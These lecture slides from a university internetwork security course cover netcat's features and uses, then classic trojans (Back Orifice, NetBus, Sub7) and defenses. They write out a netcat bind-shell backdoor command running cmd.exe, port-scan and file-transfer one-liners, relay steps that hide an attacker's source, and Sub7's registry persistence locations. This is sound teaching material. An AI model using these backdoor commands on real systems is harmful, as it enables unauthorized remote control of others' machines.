Netcat and Trojans/Backdoors

ECE4883 – Internetwork Security
Agenda Overview

- Netcat
- Trojans/Backdoors
Agenda Netcat

- Netcat
  - Overview
  - Major Features
  - Installation and Configuration
  - Possible Uses
- Netcat Defenses
- Summary
Netcat - TCP/IP Swiss Army Knife

- Reads and Writes data across the network using TCP/UDP connections
- Feature-rich network debugging and exploration tool
- Part of the Red Hat Power Tools collection and comes standard on SuSE Linux, Debian Linux, NetBSD and OpenBSD distributions.
Netcat

- Designed to be a reliable “back-end” tool – to be used directly or easily driven by other programs/scripts

- Very powerful in combination with scripting languages (eg. Perl)

“If you were on a desert island, Netcat would be your tool of choice!”

- Ed Skoudis
Netcat - Major Features

- Outbound or inbound connections
- TCP or UDP, to or from any ports
- Full DNS forward/reverse checking, with appropriate warnings
- Ability to use any local source port
- Ability to use any locally-configured network source address
- Built-in port-scanning capabilities, with randomizer
Netcat - Major Features (contd)

• Built-in loose source-routing capability
• Can read command line arguments from standard input
• Slow-send mode, one line every N seconds
• Hex dump of transmitted and received data
• Optional ability to let another program service established connections
• Optional telnet-options responder
Netcat (called ‘nc’)  

- Can run in client/server mode  
- Default mode – client  
- Same executable for both modes  
- client mode  
  \[\text{nc [dest] [port_no_to_connect_to]}\]  
- listen mode (-l option)  
  \[\text{nc -l -p [port_no_to_connect_to]}\]
Netcat - Client mode

Computer with netcat in **Client** mode

1. Input comes from a standard Input device
2. Passes through netcat in client mode
3. Output is sent across the network to any TCP/UDP port on any system
Netcat - listen mode

Computer with netcat in *listen* mode

1. Input comes from the network on any TCP/UDP port
2. Passes through netcat in listen mode
3. Output appears on standard output device
Netcat - Configuration

- LINUX installation
  
tar xvfs netcat.tar.gz  
cd netcat  
make linux  
cp nc /usr/local/sbin

Note: The last command will allow you to run netcat without having to specify the directory
Netcat - Installation

- Windows Installation
  - Copy file `nc11nt.zip` in a folder
  - Unzip this file – creates a directory called `nc11nt`
  - To run netcat – go to the `nc11nt` folder and run it from there
Netcat – Possible uses

- Transfer files
- Scan ports
- Create backdoors
- Create relays
- Many more…
Netcat - File transfer

Scenario: Attacker wants to transfer a file to another machine, only one port open and that is not FTP port

Windows – nc listener (IP: a.b.c.d)

    c:\ nc -l -p 1234 > testfile.txt

Linux – nc client (IP: a.b.c.d)

    nc a.b.c.d 1234 < testfile.txt
Netcat - Scan ports

Goal: To scan ports without using \textit{nmap}
Send H-E-L-L-O to each target

On the client machine
\texttt{echo Hello | nc -v -w 3 -z a.b.c.d 1-200}

This will go to various TCP or UDP ports on the target machine
Netcat - Create backdoors

- On Windows machine, create netcat backdoor listener that runs `cmd.exe shell`
  \[c:\ nc -l -p 7777 -e cmd.exe\]
- Connect to this backdoor by running netcat in client mode on Linux machine
  \[nc a.b.c.d 7777\]
- Can send commands like "cd" and "mkdir"
Netcat - Create relays

Can be used to bounce connections between systems. Obscures attacker’s source

1. Create a relay on the Linux machine
2. Configure the relay to forward data to another port on the Linux machine
3. At the other port, set up a netcat backdoor shell
4. Connect to the relay from the Windows machine using netcat in client mode
Netcat Defenses

- For file transfer and port scanning – Close all unused ports
- For backdoors
  - Close unused ports
  - Carefully audit system usage
    - Check applications running with root privileges
    - Close suspicious programs
- For relays – Multiple layers of security
Summary Netcat

✓ Netcat
  ✓ Overview
  ✓ Major Features
  ✓ Installation and Configuration
  ✓ Possible Uses

✓ Netcat Defenses

Next – Trojans/Backdoors
Agenda Trojans/Backdoors

• Malicious Remote Access Tools
  ▪ Backdoors
  ▪ Trojans
• Defenses against Trojans/Backdoors
• Virtual Network Channels
• Summary
Malicious Remote Access Tools

• Backdoors
  ▪ Also called as “trapdoor”
  ▪ An undocumented way of gaining access to a program, online service or an entire computer system.
  ▪ Allows to execute privileged operations on the affected machine

• Trojan Horse
  ▪ Does not replicate or copy itself
  ▪ Damages or compromises the security of the computer
  ▪ It relies on someone emailing it to you. It does not email itself
Back Orifice

- Authored by Cult of the Dead Cow
- Released on 3rd Aug 1998
- Allows remote manipulation of
  - File system
  - Registry
  - System
  - Passwords
  - Network
  - Processes
Back Orifice (cont.)

- First widely used trojan
  - Complete Implementation of services supported by the Windows 95/98 API
  - Small, freely available
  - Attached to innocent binary
- Detection
  - Encrypted UDP (port 31337)
  - XOR packets with random stream + password
  - Optional TCP file transfer
NetBus

- Officially distributed by SpectorSoft (www.netbus.org)
- eBlaster
  - Records information and emails it
  - All websites visited, applications run, keystrokes typed, chat conversations, instant messages
- Spector
  - Like a “camera”
  - Records everything being done on the computer, takes several screen shots which can be played back as a movie
NetBus

- The author of NetBus says, "NetBus was made to let people have some fun with his/her friends."

- He also says, "I hope NetBus (and similar programs like Back Orifice) will make more people aware of the security risks at their system."

Unfortunately, NetBus allows far more access than a mere prank should ever require
NetBus

- It allows anyone running the client portion to connect and control anyone running the server portion of it, with the same rights and privileges as the currently logged on user.
NetBus

• Features
  ▪ Does everything Back Orifice can do & more
  ▪ Tricks with the CD (open, close on command or timed intervals)
  ▪ Mouse control (can swap functions of the left and right buttons)
  ▪ Send Interactive dialogues to communicate with the compromised machine
Sub7

- One of the most popular and powerful trojan horses around
- Originally known as Backdoor G
- Has been revised 16 times in the past 3 years
- A new version, 2.3 will be released soon
- Known for its ease of use and flexible settings
Sub7

- A partial list of what Sub7 can do
  - Monitor all online activity
  - Manipulate any file on the machine
  - Edit the registry
  - Host FTP servers
  - Record passwords and keystrokes
  - Watch you (if you have a webcam) and much more…
Sub7

- Tends to escape virus detection, since it morphs itself, every time it is sent to a new victim

- **How it loads, where it hides**
  - It can hide in any directory and can load from the registry and a few other less known places
  - It can be assigned a different file name each time it runs, so every time the machine is rebooted, the file is altered in some way
  - Harder to track down and delete
Sub7

- It usually hides in the following location
  
  \texttt{HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\CurrentVersion\Run}

  or

  \texttt{HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\CurrentVersion\RunServices}

  or

  \texttt{HKEY\_CLASSES\_ROOT\\*\shellex}
Sub7

- If it is placed in the shelllex part of the registry, even if the infected file is removed, the computer will not function properly

For e.g.
c:\windows\sub7.exe /notepad.exe

Removing sub7.exe will stop normal execution of notepad.exe also
Sub7 Screenshot #1

Sub7 Main Window. Shown here are the different server settings.
Sub7 Screenshot #2

Sub7 Screen Capture.
Sub7 Screenshot #3

Sub7 File Manager.
Controlling the cloaking and other options of the Sub7 Server
How attackers find an infected PC

- Some trojans report the IP address on an IRC channel
- Port scanners
  - Used to find PCs which has “the backdoor open”
- Customized access – Password protected
  - Infected machine can then be accessed only by the person who has the password
Defense against Trojans/Backdoors

- Scan attachments properly (most common way of infecting machines)
- Anti-virus checks
- Firewalls
- Remove suspicious programs/processes
Virtual Network Connections

- Application level backdoor
- Can control for example a Windows machine from a Linux machine using VNC
  - Install VNC
  - Run the VNC server on the Windows machine
  - Use Linux VNC viewer to access the server on Windows machine
Virtual Network Connections

- Controlling a Linux machine from Windows
  - Run VNC server on Linux
  - Use VNC viewer from Windows to access the Linux machine

Note: Reconfigure the firewall on a linux machine to accept packets for the VNC port (TCP port 5901)
Summary

✓ Trojans
✓ Backdoors
✓ Defenses against Trojans/Backdoors
✓ Virtual Network Connections